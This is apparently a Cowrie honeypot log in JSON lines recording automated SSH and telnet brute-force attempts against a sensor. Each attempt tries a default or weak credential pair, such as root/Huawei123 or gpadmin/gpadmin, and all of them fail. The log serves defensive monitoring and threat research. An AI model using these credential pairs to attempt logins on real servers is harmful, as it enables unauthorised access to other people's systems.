{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53520,"dst_ip":"159.203.135.109","dst_port":22,"session":"65035fca5692","protocol":"ssh","message":"New connection: 192.109.200.237:53520 (159.203.135.109:22) [session: 65035fca5692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:03.455723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:03.460337Z","src_ip":"192.109.200.237","session":"65035fca5692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:03.542329Z","src_ip":"192.109.200.237","session":"65035fca5692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:03.789999Z","src_ip":"192.109.200.237","session":"65035fca5692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:04.875846Z","src_ip":"192.109.200.237","session":"65035fca5692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53522,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d38a75a9867","protocol":"ssh","message":"New connection: 192.109.200.237:53522 (159.203.135.109:22) [session: 4d38a75a9867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:06.849534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:06.855377Z","src_ip":"192.109.200.237","session":"4d38a75a9867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:06.943289Z","src_ip":"192.109.200.237","session":"4d38a75a9867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:07.193633Z","src_ip":"192.109.200.237","session":"4d38a75a9867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:08.279663Z","src_ip":"192.109.200.237","session":"4d38a75a9867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40160,"dst_ip":"10.17.0.5","dst_port":23,"session":"e796d7670606","protocol":"telnet","message":"New connection: 152.42.224.71:40160 (10.17.0.5:23) [session: e796d7670606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:09.840689Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60744,"dst_ip":"159.203.135.109","dst_port":22,"session":"62a3ce6a478a","protocol":"ssh","message":"New connection: 192.109.200.237:60744 (159.203.135.109:22) [session: 62a3ce6a478a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:10.150545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:10.155484Z","src_ip":"192.109.200.237","session":"62a3ce6a478a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:10.238220Z","src_ip":"192.109.200.237","session":"62a3ce6a478a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:10.656198Z","src_ip":"192.109.200.237","session":"62a3ce6a478a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40164,"dst_ip":"10.17.0.5","dst_port":23,"session":"477b9f5e907a","protocol":"telnet","message":"New connection: 152.42.224.71:40164 (10.17.0.5:23) [session: 477b9f5e907a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:10.817296Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:11.740764Z","src_ip":"192.109.200.237","session":"62a3ce6a478a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60752,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac18f4a2ee23","protocol":"ssh","message":"New connection: 192.109.200.237:60752 (159.203.135.109:22) [session: ac18f4a2ee23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:13.704036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:13.708838Z","src_ip":"192.109.200.237","session":"ac18f4a2ee23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:13.793187Z","src_ip":"192.109.200.237","session":"ac18f4a2ee23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:14.041176Z","src_ip":"192.109.200.237","session":"ac18f4a2ee23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:15.127522Z","src_ip":"192.109.200.237","session":"ac18f4a2ee23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60768,"dst_ip":"159.203.135.109","dst_port":22,"session":"95d9fd610551","protocol":"ssh","message":"New connection: 192.109.200.237:60768 (159.203.135.109:22) [session: 95d9fd610551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:17.015840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:17.021472Z","src_ip":"192.109.200.237","session":"95d9fd610551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:17.105464Z","src_ip":"192.109.200.237","session":"95d9fd610551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:17.360922Z","src_ip":"192.109.200.237","session":"95d9fd610551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:18.446682Z","src_ip":"192.109.200.237","session":"95d9fd610551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36710,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa1f0acc56e6","protocol":"ssh","message":"New connection: 192.109.200.237:36710 (159.203.135.109:22) [session: aa1f0acc56e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:20.344723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:20.349399Z","src_ip":"192.109.200.237","session":"aa1f0acc56e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:20.432538Z","src_ip":"192.109.200.237","session":"aa1f0acc56e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:20.681643Z","src_ip":"192.109.200.237","session":"aa1f0acc56e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":115.50571846961975,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:20.699900Z","src_ip":"152.42.224.71","session":"b210de5b0b6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53422,"dst_ip":"10.17.0.5","dst_port":23,"session":"b59dba287958","protocol":"telnet","message":"New connection: 152.42.224.71:53422 (10.17.0.5:23) [session: b59dba287958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:20.951403Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:21.767637Z","src_ip":"192.109.200.237","session":"aa1f0acc56e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":41380,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e41551dc88b","protocol":"ssh","message":"New connection: 103.173.227.57:41380 (159.203.135.109:22) [session: 6e41551dc88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:22.059313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:22.068078Z","src_ip":"103.173.227.57","session":"6e41551dc88b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:22.308901Z","src_ip":"103.173.227.57","session":"6e41551dc88b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pingvin","message":"login attempt [root/pingvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:23.030299Z","src_ip":"103.173.227.57","session":"6e41551dc88b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36714,"dst_ip":"159.203.135.109","dst_port":22,"session":"86e87da0d680","protocol":"ssh","message":"New connection: 192.109.200.237:36714 (159.203.135.109:22) [session: 86e87da0d680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:23.722191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:23.728913Z","src_ip":"192.109.200.237","session":"86e87da0d680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:23.812612Z","src_ip":"192.109.200.237","session":"86e87da0d680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:24.067026Z","src_ip":"192.109.200.237","session":"86e87da0d680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:24.273322Z","src_ip":"103.173.227.57","session":"6e41551dc88b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:25.152320Z","src_ip":"192.109.200.237","session":"86e87da0d680","protocol":"ssh"}
